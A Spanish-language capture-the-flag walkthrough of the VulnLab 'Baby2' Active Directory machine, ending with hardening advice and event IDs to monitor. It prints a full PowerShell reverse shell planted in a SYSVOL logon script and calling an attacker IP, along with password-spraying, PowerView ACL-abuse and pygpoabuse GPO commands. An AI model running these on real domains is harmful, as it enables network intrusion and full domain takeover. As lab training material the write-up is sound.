VL BabyTwo
Descripción
Baby2 es una máquina Windows de dificultad media que explora conceptos fundamentales de Active Directory relacionados con enumeración de usuarios, abuso de permisos DACL y manipulación de Group Policy Objects (GPO).
El camino de intrusión incluye:
- RID Cycling para enumeración de usuarios sin credenciales
- Password Spraying con credenciales débiles (usuario=contraseña)
- Acceso a SYSVOL y modificación de scripts de inicio de sesión
- Captura de sesión mediante scripts maliciosos en logon scripts
- WriteOwner/WriteDacl para tomar control de cuentas privilegiadas
- Abuso de GPO mediante GenericAll sobre Default Domain Policy
- Escalada a SYSTEM mediante ScheduledTask en GPO
Esta máquina es perfecta para entender los peligros de permisos mal configurados en Active Directory y cómo los atacantes pueden escalar privilegios mediante la manipulación de Group Policy Objects.
Enumeración
NMAP - Descubrimiento de Servicios
Iniciamos con un escaneo completo de puertos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
nmap -p- --open -sS --min-rate 8000 -Pn -n 10.129.234.72 -oG allPorts
Starting Nmap 7.93 ( https://nmap.org ) at 2026-01-21 18:12 -04
Nmap scan report for 10.129.234.72
Host is up (0.33s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
56481/tcp open unknown
56482/tcp open unknown
56499/tcp open unknown
60261/tcp open unknown
62047/tcp open unknown
62083/tcp open unknown
Análisis de Puertos Críticos
Los puertos confirman un Domain Controller:
- 53 (DNS) - Servidor DNS del dominio
- 88 (Kerberos) - Autenticación Kerberos
- 389/636/3268/3269 (LDAP/LDAPS) - Servicios de directorio
- 445 (SMB) - Compartición de archivos
- 5985 (WinRM) - Administración remota
- 3389 (RDP) - Escritorio remoto
Escaneo de Versiones y Scripts
1
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49664,49667,56481,56482,56499,60261,62047,62083 -sCV 10.129.234.72 -oN targeted
Información Recopilada
- Dominio:
baby2.vl - FQDN del DC:
dc.baby2.vl - NetBIOS:
BABY2 - Hostname:
DC - Sistema Operativo: Windows Server 2022 Build 20348
Configuración del /etc/hosts
1
echo '10.129.234.72 baby2.vl DC.baby2.vl DC' | tee -a /etc/hosts
SMB - Enumeración Inicial
Verificamos si el acceso anónimo está habilitado:
1
2
3
nxc smb 10.129.234.72 -u anon -p ''
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.72 445 DC [+] baby2.vl\anon: (Guest)
Acceso Anónimo Confirmado
El servidor permite autenticación de invitado (Guest), lo que nos permite realizar enumeración básica sin credenciales válidas.
Enumeración de Usuarios del Dominio
RID Cycling con lookupsid
¿Qué es RID Cycling?
RID (Relative Identifier) es un componente del SID (Security Identifier) de cada objeto en Active Directory. Al enumerar RIDs secuencialmente, podemos descubrir usuarios válidos sin necesidad de credenciales válidas.
1
2
3
4
5
6
lookupsid.py a@10.129.234.72 10000 -no-pass
Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at 10.129.234.72
[*] StringBinding ncacn_np:10.129.234.72[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-213243958-1766259620-4276976267
Procesamiento de Resultados
Aplicamos REGEX para extraer solo los nombres de usuario:
1
lookupsid.py a@10.129.234.72 10000 -no-pass | grep -i sidtypeuser | awk '{print $2}' | sed 's/^BABY2\\//' > users.txt
Esta cadena de comandos:
- grep -i sidtypeuser: Filtra solo objetos de tipo usuario
- awk ‘{print $2}’: Extrae el segundo campo (nombre de usuario con dominio)
- sed ‘s/^BABY2\\//’: Elimina el prefijo del dominio
Password Spray Attack
¿Qué es Password Spraying?
Password Spraying es una técnica de fuerza bruta donde probamos una misma contraseña contra múltiples usuarios, en lugar de probar múltiples contraseñas contra un usuario. Esto evita bloqueos de cuenta por intentos fallidos.
Contraseñas Débiles Comunes
En entornos de laboratorio como VulnLab, es común que los usuarios tengan contraseñas débiles o predecibles, como:
- El mismo nombre de usuario como contraseña
- Contraseñas por defecto
- Patrones simples
Ejecución del Ataque
1
2
3
4
5
nxc smb 10.129.234.72 -u users.txt -p users.txt --continue-on-success --no-bruteforce
<SNIP>
SMB 10.129.234.72 445 DC [+] baby2.vl\Carl.Moore:Carl.Moore
<SNIP>
SMB 10.129.234.72 445 DC [+] baby2.vl\library:library
Parámetros importantes:
- –continue-on-success: Continúa probando incluso después de encontrar credenciales válidas
- –no-bruteforce: Prueba cada usuario con su correspondiente contraseña (usuario1:usuario1, usuario2:usuario2)
Credenciales Válidas Encontradas
Usuarios comprometidos:
Carl.Moore:Carl.Moorelibrary:library
BloodHound - Mapeo de Active Directory
¿Qué es BloodHound?
BloodHound es una herramienta de análisis de Active Directory que utiliza teoría de grafos para revelar relaciones y caminos de ataque ocultos. Identifica rutas de escalada de privilegios que serían difíciles de encontrar manualmente.
Recopilación de Datos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bloodhound-ce.py --zip -c All -d "baby2.vl" -u "Carl.Moore" -p 'Carl.Moore' -dc "dc.baby2.vl" -ns 10.129.234.72
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: baby2.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Found 16 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.baby2.vl
INFO: Done in 01M 25S
INFO: Compressing output into 20260121192039_bloodhound.zip
Información recopilada:
- 16 usuarios del dominio
- 54 grupos
- 2 GPOs (Group Policy Objects)
- 3 OUs (Organizational Units)
- 19 contenedores
- 1 computadora (el DC)
SMB - Enumeración con Carl.Moore
Recursos Compartidos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nxc smb 10.129.234.72 -u Carl.Moore -p Carl.Moore --shares
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.72 445 DC [+] baby2.vl\Carl.Moore:Carl.Moore
SMB 10.129.234.72 445 DC [*] Enumerated shares
SMB 10.129.234.72 445 DC Share Permissions Remark
SMB 10.129.234.72 445 DC ----- ----------- ------
SMB 10.129.234.72 445 DC ADMIN$ Remote Admin
SMB 10.129.234.72 445 DC apps READ,WRITE
SMB 10.129.234.72 445 DC C$ Default share
SMB 10.129.234.72 445 DC docs READ,WRITE
SMB 10.129.234.72 445 DC homes READ,WRITE
SMB 10.129.234.72 445 DC IPC$ READ Remote IPC
SMB 10.129.234.72 445 DC NETLOGON READ Logon server share
SMB 10.129.234.72 445 DC SYSVOL READ Logon server share
Recursos Críticos Identificados
SYSVOL es extremadamente importante porque contiene:
- Group Policy Objects (GPO) - Políticas de grupo
- Logon Scripts - Scripts de inicio de sesión
- GPP (Group Policy Preferences) - Configuraciones que pueden contener credenciales
Nota: SYSVOL es replicado entre todos los Domain Controllers y a menudo contiene información sensible. Los logon scripts son ejecutados automáticamente cuando los usuarios inician sesión.
Exploración de SYSVOL
Conexión al Recurso Compartido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
smbclient //10.129.234.72/SYSVOL/ -U Carl.Moore%Carl.Moore
Try "help" to get a list of possible commands.
smb: \> dir
baby2.vl Dr 0 Tue Aug 22 13:37:36 2023
smb: \> cd baby2.vl
smb: \baby2.vl\> dir
DfsrPrivate DHSr 0 Tue Aug 22 13:43:55 2023
Policies D 0 Tue Aug 22 13:37:41 2023
scripts D 0 Mon Aug 25 04:30:39 2025
smb: \baby2.vl\> cd scripts
smb: \baby2.vl\scripts\> dir
login.vbs A 992 Sat Sep 2 10:55:51 2023
Descarga del Script de Inicio de Sesión
1
2
smb: \baby2.vl\scripts\> get login.vbs
getting file \baby2.vl\scripts\login.vbs of size 992 as login.vbs (0.6 KiloBytes/sec)
Análisis del Script login.vbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Sub MapNetworkShare(sharePath, driveLetter)
Dim objNetwork
Set objNetwork = CreateObject("WScript.Network")
' Check if the drive is already mapped
Dim mappedDrives
Set mappedDrives = objNetwork.EnumNetworkDrives
Dim isMapped
isMapped = False
For i = 0 To mappedDrives.Count - 1 Step 2
If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
isMapped = True
Exit For
End If
Next
If isMapped Then
objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
End If
objNetwork.MapNetworkDrive driveLetter & ":", sharePath
If Err.Number = 0 Then
WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
Else
WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
End If
Set objNetwork = Nothing
End Sub
MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
¿Qué hace este script?
Este script VBScript se ejecuta automáticamente cuando los usuarios inician sesión y:
- Define una función
MapNetworkSharepara mapear unidades de red - Verifica si la unidad ya está mapeada y la desmonta si es necesario
- Mapea dos recursos compartidos de red:
\\dc.baby2.vl\appscomo unidadV:\\dc.baby2.vl\docscomo unidadL:
Intrusión
Modificación del Logon Script
Estrategia de Ataque
Como tenemos permisos de escritura en SYSVOL, podemos modificar el script login.vbs para:
- Mantener su funcionalidad original (evitar sospechas)
- Agregar código malicioso que se ejecute al inicio de sesión
- Obtener una reverse shell cuando un usuario inicie sesión
Script Malicioso
Agregamos el siguiente código al final del archivo login.vbs:
1
2
3
4
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -exec bypass -c ""$client = New-Object System.Net.Sockets.TCPClient('10.10.17.121',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""", 0, False
¿Qué hace este código?
- CreateObject(“WScript.Shell”): Crea un objeto Shell para ejecutar comandos
- objShell.Run: Ejecuta PowerShell con las siguientes opciones:
- -exec bypass: Omite la política de ejecución de scripts
- -c: Ejecuta el comando especificado
- Reverse Shell en PowerShell:
- Crea un cliente TCP conectándose a
10.10.17.121:4444 - Lee comandos del atacante
- Ejecuta los comandos con
iex(Invoke-Expression) - Envía los resultados de vuelta al atacante
- Crea un cliente TCP conectándose a
- Parámetro 0, False: Ejecuta el comando de forma oculta (sin ventana visible)
Subida del Script Modificado
1
2
smb: \baby2.vl\scripts\> put login.vbs
putting file login.vbs as \baby2.vl\scripts\login.vbs (1.0 kb/s) (average 1.0 kb/s)
Preparación del Listener
En nuestra máquina atacante, iniciamos un listener en el puerto 4444:
1
2
3
4
nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Captura de Sesión
Esperando Autenticación
Los logon scripts en SYSVOL se ejecutan automáticamente cuando:
- Un usuario inicia sesión en el dominio
- Se aplican las Group Policy Objects
- Se actualizan las políticas de grupo
En entornos de producción, esto podría tardar desde minutos hasta horas. En entornos de laboratorio, suele haber tareas programadas que simulan inicios de sesión.
Conexión Recibida
Después de aproximadamente 30 segundos, recibimos la conexión:
1
2
3
4
5
Ncat: Connection from 10.129.234.72.
Ncat: Connection from 10.129.234.72:53419.
PS C:\Windows\system32> whoami
baby2\amelia.griffiths
Shell Obtenida
Hemos obtenido una shell PowerShell como el usuario amelia.griffiths. Este usuario inició sesión en el dominio y el script malicioso se ejecutó automáticamente.
User Flag
Nota: La flag de usuario para esta máquina se encuentra en una ubicación no estándar:
C:\user.txt
1
2
PS C:\Windows\system32> type C:/user.txt
42783b2c1483aeb70eca6810f0645c38
Flag de Usuario Obtenida
User Flag: 42783b2c1483aeb70eca6810f0645c38
Escalada de Privilegios
Análisis de Grupos
Verificamos los grupos a los que pertenece amelia.griffiths:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Windows\system32> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
BABY2\office Group S-1-5-21-213243958-1766259620-4276976267-1104 Mandatory group, Enabled by default, Enabled group
BABY2\legacy Group S-1-5-21-213243958-1766259620-4276976267-2601 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Grupos Importantes Identificados
- BABY2\office: Grupo personalizado del dominio
- BABY2\legacy: Grupo personalizado del dominio - ¡Este es crítico!
BloodHound - Análisis de Permisos
Permisos del Usuario Amelia Griffiths
Al revisar los datos de BloodHound, descubrimos que:
Amelia Griffiths:
- Es miembro del grupo legacy
Grupo legacy:
- Tiene WriteOwner sobre el usuario GPOADM
- Tiene WriteDacl sobre el usuario GPOADM
- Tiene WriteOwner sobre la OU GPO-MANAGEMENT
- Tiene WriteDacl sobre la OU GPO-MANAGEMENT
¿Qué son WriteOwner y WriteDacl?
WriteOwner: Permite cambiar el propietario de un objeto. El nuevo propietario puede modificar completamente el objeto, incluyendo establecer su propia contraseña.
WriteDacl: Permite modificar la DACL (Discretionary Access Control List) de un objeto. Esto permite otorgarse a sí mismo permisos completos sobre el objeto.
Estrategia de Escalada
Nuestra ruta de ataque será:
- Usar WriteOwner para convertirnos en propietarios de GPOADM
- Usar WriteDacl para otorgarnos permisos completos sobre GPOADM
- Cambiar la contraseña de GPOADM
- Autenticarnos como GPOADM
- Abusar de los permisos de GPOADM sobre las GPO
Abuso de WriteOwner/WriteDacl
Preparación - PowerView
Como no tenemos la contraseña de AMELIA.GRIFFITHS (solo una shell), no podemos usar herramientas estándar de Impacket. Necesitamos usar PowerView, una herramienta de PowerShell para manipulación de Active Directory.
PowerView es parte de la suite PowerSploit y permite:
- Enumerar objetos de AD
- Modificar ACLs
- Cambiar contraseñas
- Manipular atributos de objetos
- Todo desde PowerShell, sin necesidad de credenciales explícitas
Descarga y Transferencia de PowerView
Descargamos PowerView desde GitHub:
1
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Levantamos un servidor HTTP en nuestra máquina atacante:
1
python3 -m http.server 80
Desde la shell de PowerShell en la víctima, descargamos PowerView:
1
PS C:\temp> Invoke-WebRequest -Uri http://10.10.17.121/PowerView.ps1 -Out C:/Temp/PowerView.ps1
Importar PowerView
1
PS C:\temp> . .\PowerView.ps1
El operador . (dot sourcing) carga el script en la sesión actual, haciendo disponibles todas sus funciones.
Toma de Control de GPOADM
Paso 1: Otorgar Permisos Completos
Usamos Add-DomainObjectAcl para agregar una ACE (Access Control Entry) que nos otorgue permisos completos:
1
PS C:\temp> Add-DomainObjectAcl -TargetIdentity "GPOADM" -PrincipalIdentity "AMELIA.GRIFFITHS" -Rights All
¿Qué hace este comando?
- -TargetIdentity: El objeto que queremos modificar (GPOADM)
- -PrincipalIdentity: A quién otorgaremos permisos (AMELIA.GRIFFITHS)
- -Rights All: Tipo de permisos (todos)
Esto agrega una entrada en la DACL de GPOADM que otorga a AMELIA.GRIFFITHS control total sobre la cuenta.
Paso 2: Cambiar Contraseña de GPOADM
Primero convertimos la nueva contraseña a SecureString:
1
PS C:\temp> $cred = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
¿Qué es SecureString?
SecureString es un tipo de datos de .NET que almacena información sensible (como contraseñas) de forma cifrada en memoria. PowerShell lo requiere para operaciones relacionadas con credenciales.
Parámetros del comando:
- -AsPlainText: Indica que estamos proporcionando texto plano
- -Force: Omite advertencias de seguridad sobre usar texto plano
Ahora cambiamos la contraseña:
1
PS C:\temp> Set-DomainUserPassword GPOADM -AccountPassword $cred
Este comando de PowerView:
- Toma el objeto SecureString que creamos
- Modifica el atributo
unicodePwdde GPOADM en Active Directory - Establece la nueva contraseña sin necesidad de conocer la anterior
Verificación de Credenciales
Desde nuestra máquina atacante, verificamos que las credenciales funcionan:
1
2
3
nxc smb 10.129.234.72 -u gpoadm -p 'P@ssword123!'
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.72 445 DC [+] baby2.vl\gpoadm:P@ssword123!
¡Éxito! Las credenciales son válidas.
Credenciales de GPOADM Obtenidas
Usuario: gpoadm
Contraseña: P@ssword123!
BloodHound - Análisis de GPOADM
Permisos de GPOADM
Al revisar los permisos de GPOADM en BloodHound, descubrimos privilegios críticos:
GPOADM tiene GenericAll sobre:
- DEFAULT DOMAIN POLICY
- DEFAULT DOMAIN CONTROLLERS POLICY
¿Qué es GenericAll en GPOs?
GenericAll sobre una GPO permite:
- Modificar todas las configuraciones de la política
- Agregar/eliminar configuraciones
- Cambiar asignaciones de seguridad
- Ejecutar código como SYSTEM mediante ScheduledTasks
- Agregar usuarios a grupos privilegiados
Este es uno de los permisos más poderosos en Active Directory. Es equivalente a “control total” sobre el objeto.
¿Qué son estas GPOs?
DEFAULT DOMAIN POLICY:
- Se aplica a todos los equipos del dominio
- Configuraciones de contraseñas, Kerberos, seguridad
- Ejecutada por SYSTEM en cada equipo
DEFAULT DOMAIN CONTROLLERS POLICY:
- Se aplica solo a Domain Controllers
- Configuraciones específicas de DCs
- También ejecutada como SYSTEM
Abuso de GPO - Group Policy Object Manipulation
¿Qué es una GPO?
Una Group Policy Object (GPO) es una colección de configuraciones que controlan el entorno de trabajo de usuarios y computadoras. Las GPOs pueden:
- Ejecutar scripts al inicio/apagado
- Crear tareas programadas
- Modificar configuraciones de seguridad
- Instalar software
- Configurar servicios
Estrategia de Ataque
Vamos a abusar de la DEFAULT DOMAIN POLICY para:
- Crear una ScheduledTask (tarea programada)
- La tarea se ejecutará como SYSTEM (máximo privilegio)
- La tarea agregará a GPOADM al grupo de Administrators
Obtener GPO ID
Cada GPO tiene un identificador único (GUID). Desde BloodHound, copiamos el GPO ID de DEFAULT DOMAIN POLICY:
GPO ID: 31B2F340-016D-11D2-945F-00C04FB984F9
Este GUID es único y permanente para esta GPO específica.
pygpoabuse - Explotación Automatizada de GPO
¿Qué es pygpoabuse?
pygpoabuse es una herramienta de Python que automatiza el abuso de permisos sobre GPOs. Puede:
- Crear ScheduledTasks maliciosas en GPOs
- Modificar configuraciones de seguridad
- Ejecutar comandos arbitrarios como SYSTEM
- Agregar usuarios a grupos privilegiados
La herramienta funciona:
- Se conecta al Domain Controller vía SMB
- Modifica el directorio SYSVOL donde se almacenan las GPOs
- Crea archivos XML de ScheduledTask en
\\DC\SYSVOL\domain\Policies\{GPO-ID}\Machine\Preferences\ScheduledTasks - Cuando los equipos actualizan sus GPOs, ejecutan estas tareas como SYSTEM
Método 1: Agregar al Grupo Administrators
1
2
3
pygpoabuse.py baby2.vl/gpoadm:'P@ssword123!' -command 'net localgroup administrators gpoadm /add' -dc-ip 10.129.234.72 -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9'
SUCCESS:root:ScheduledTask TASK_d1824f1f created!
[+] ScheduledTask TASK_d1824f1f created!
¿Qué hace este comando?
- Se autentica como gpoadm con la contraseña
P@ssword123! - Se conecta al DC en
10.129.234.72 - Localiza la GPO con ID
31B2F340-016D-11D2-945F-00C04FB984F9(DEFAULT DOMAIN POLICY) - Crea una ScheduledTask llamada
TASK_d1824f1fdentro de la GPO - La tarea ejecutará:
net localgroup administrators gpoadm /add - Esta tarea se ejecutará como NT AUTHORITY\SYSTEM en todos los equipos donde se aplique la GPO
¿Por qué funciona?
- Las GPOs se ejecutan con privilegios de SYSTEM
- DEFAULT DOMAIN POLICY se aplica al Domain Controller
- El comando
net localgroup administrators gpoadm /addagrega a gpoadm al grupo local Administrators - Como se ejecuta en el DC con privilegios de SYSTEM, tiene éxito
Forzar Actualización de GPO
Las GPOs se actualizan automáticamente cada 90 minutos por defecto. Para forzar una actualización inmediata:
1
2
3
4
5
6
PS C:\temp> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
¿Qué hace gpupdate /force?
- Fuerza la descarga y aplicación de todas las GPOs
- Ejecuta las ScheduledTasks creadas
- Aplica las configuraciones inmediatamente
Verificación
Comprobamos que GPOADM fue agregado al grupo Administrators:
1
2
3
4
5
6
7
8
9
10
11
12
PS C:\temp> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
gpoadm
The command completed successfully.
Acceso Administrativo
Conexión con Evil-WinRM
Usamos Evil-WinRM para obtener una shell como administrador:
1
2
3
4
5
6
7
8
9
10
evil-winrm -i baby2.vl -u gpoadm -p 'P@ssword123!'
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gpoadm\Documents> whoami
baby2\gpoadm
*Evil-WinRM* PS C:\Users\gpoadm\Documents> type C:/users/administrator/desktop/root.txt
293500962edc31fa154951eeeb5740f9
Flag de Root Obtenida
Root Flag: 293500962edc31fa154951eeeb5740f9
Método 2 - Shell como NT AUTHORITY\SYSTEM
Alternativa: Reverse Shell Directa
En lugar de agregarnos al grupo de administradores, podemos obtener directamente una shell como SYSTEM (la cuenta de máxima privilegios en Windows).
Generar Payload PowerShell
Nos vamos a revshell para generar una reverse shell de powershell encodeada a base64.
Ejecución del Ataque
1
2
3
pygpoabuse.py baby2.vl/gpoadm:'P@ssword123!' -command "powershell -exec bypass -enc REV_SHELL_BASE64" -dc-ip 10.129.234.72 -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -f
SUCCESS:root:ScheduledTask TASK_d5b1a4db created!
[+] ScheduledTask TASK_d5b1a4db created!
Parámetro -f: Fuerza la actualización inmediata de la GPO sin necesidad de ejecutar gpupdate /force manualmente.
Listener Preparado
1
2
3
4
nc -nlvp 5555
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Conexión Recibida
Después de la actualización de GPO, recibimos la conexión:
1
2
3
4
5
6
7
8
Ncat: Connection from 10.129.234.72.
Ncat: Connection from 10.129.234.72:55341.
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> type C:/users/administrator/desktop/root.txt
293500962edc31fa154951eeeb5740f9
Shell como SYSTEM Obtenida
Ahora tenemos una shell como NT AUTHORITY\SYSTEM, la cuenta de mayor privilegio en Windows, equivalente a root en Linux.
Conclusión
Cadena de Ataque Completa
- Enumeración NMAP → Identificación de Domain Controller
- Acceso Anónimo SMB → Confirmación de guest access
- RID Cycling → Enumeración de usuarios sin credenciales
- Password Spraying → Credenciales débiles (usuario=contraseña)
- BloodHound → Mapeo de relaciones y permisos
- Acceso a SYSVOL → Lectura de logon scripts
- Modificación de login.vbs → Inyección de código malicioso
- Captura de Shell → Sesión como amelia.griffiths
- Análisis de Grupos → Identificación de membresía en legacy
- PowerView → Manipulación de ACLs
- WriteOwner/WriteDacl → Cambio de contraseña de GPOADM
- GenericAll sobre GPO → Creación de ScheduledTask
- GPO Abuse → Ejecución de código como SYSTEM
- Acceso Total → Compromiso completo del dominio
Resumen Visual del Ataque GPO
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌────────────────────────────────────────────────────────────┐
│ ATAQUE DE MANIPULACIÓN DE GPO │
└────────────────────────────────────────────────────────────┘
1. ENUMERACIÓN INICIAL
┌──────────┐
│ Atacante │ → RID Cycling → Usuarios del dominio
└──────────┘
2. PASSWORD SPRAYING
┌──────────┐
│ Atacante │ → Carl.Moore:Carl.Moore → Acceso SMB
└──────────┘
3. SYSVOL POISONING
┌──────────┐
│ Atacante │ → Modifica login.vbs → Shell as amelia.griffiths
└──────────┘
4. ACL ABUSE
┌─────────────────┐ ┌──────────┐
│ amelia.griffiths│ →→→→ │ legacy │ → WriteOwner/WriteDacl
└─────────────────┘ └──────────┘
│
↓ Cambio de contraseña
┌──────────┐
│ GPOADM │ → GenericAll sobre GPO
└──────────┘
5. GPO ABUSE
┌──────────┐ ┌──────────────────────┐
│ GPOADM │ →→→→→→→ │ DEFAULT DOMAIN POLICY│
└──────────┘ └──────────────────────┘
│
↓ ScheduledTask
┌──────────────┐
│ SYSTEM │ → Máximo privilegio
└──────────────┘
Conceptos Clave Aprendidos
RID Cycling
- Técnica de enumeración sin autenticación
- Explota el protocolo MSRPC para obtener información de usuarios
- Permite mapear usuarios válidos antes de tener credenciales
Password Spraying
- Fuerza bruta horizontal (una contraseña, múltiples usuarios)
- Evita bloqueos de cuenta por intentos fallidos
- Efectiva contra contraseñas débiles o predecibles
SYSVOL y Logon Scripts
- SYSVOL contiene GPOs y scripts compartidos
- Los logon scripts se ejecutan automáticamente al iniciar sesión
- Permisos de escritura en SYSVOL = ejecución de código
WriteOwner y WriteDacl
- Permisos DACL extremadamente peligrosos
- Permiten escalar de “sin acceso” a “control total”
- Combinados, equivalen a control completo del objeto
Group Policy Objects (GPO)
- Las GPOs controlan configuraciones de equipos y usuarios
- Se ejecutan con privilegios de SYSTEM
- GenericAll sobre GPO = ejecución de código como SYSTEM
- Las ScheduledTasks en GPOs son un vector de ataque potente
Lecciones Aprendidas
Malas Configuraciones Explotadas
- Acceso anónimo SMB habilitado innecesariamente
- Contraseñas débiles (usuario=contraseña)
- Permisos de escritura en SYSVOL para usuarios no privilegiados
- WriteOwner/WriteDacl otorgados a grupos de bajo privilegio
- GenericAll sobre GPOs para usuarios que no son administradores
- Falta de monitoreo de cambios en SYSVOL y GPOs
Recomendaciones de Seguridad
Prevención de Enumeración
- Deshabilitar acceso anónimo a SMB y LDAP
- Restringir RID cycling mediante políticas de seguridad
- Implementar autenticación de red (NLA) en RDP
- Usar firewalls internos para segmentar la red
Gestión de Credenciales
- Políticas de contraseñas robustas:
- Mínimo 12 caracteres
- Complejidad requerida
- Historial de contraseñas
- Rotación periódica
- Evitar contraseñas predecibles (nombre de usuario, patrones simples)
- Implementar autenticación multifactor (MFA)
- Usar cuentas de servicio administradas (gMSA)
Protección de SYSVOL
- Auditar permisos en SYSVOL regularmente
- Eliminar credenciales de scripts y GPP
- Usar GPP con cifrado cuando sea necesario
- Monitorear cambios en archivos de SYSVOL
- Implementar firma de scripts obligatoria
Control de Permisos DACL
- Principio de mínimo privilegio en ACLs
- Auditar permisos con BloodHound periódicamente
- Eliminar WriteOwner, WriteDacl, GenericAll innecesarios
- Proteger cuentas de administración de GPO
- Usar AdminSDHolder para proteger grupos privilegiados
Seguridad de GPO
- Restringir permisos sobre GPOs a administradores de dominio
- Auditar cambios en GPOs (Event ID 5136, 5137, 5141)
- Implementar GPO de solo lectura cuando sea posible
- Separar responsabilidades (crear vs. modificar vs. vincular GPOs)
- Usar delegación controlada para administración de GPO
Monitoreo y Detección
- Alertar sobre:
- Cambios en SYSVOL (especialmente scripts)
- Modificaciones de ACLs en cuentas privilegiadas
- Creación/modificación de ScheduledTasks en GPOs
- Cambios de contraseña en cuentas de servicio
- Ejecución de comandos PowerShell codificados en Base64
- Implementar SIEM con reglas específicas para AD
- Usar Microsoft Defender for Identity o similar
- Habilitar auditoría avanzada de Active Directory
Indicadores de Compromiso (IOCs)
Eventos de Windows a Monitorear:
- Event ID 4662: Operación realizada en objeto AD (ACL modificada)
- Event ID 4670: Permisos de objeto cambiados
- Event ID 4738: Cuenta de usuario modificada (cambio de contraseña)
- Event ID 5136: Objeto de servicio de directorio modificado
- Event ID 5137: Objeto de servicio de directorio creado
- Event ID 5141: Objeto de servicio de directorio eliminado
- Event ID 4624: Inicio de sesión exitoso (tipo 3 = red)
- Event ID 4648: Intento de inicio de sesión con credenciales explícitas
- Event ID 4698: Tarea programada creada
- Event ID 4625 Inicio de sesión fallido
- Event ID 4728/4732/4756 Cambios en grupos de seguridad
Indicadores de Ataque:
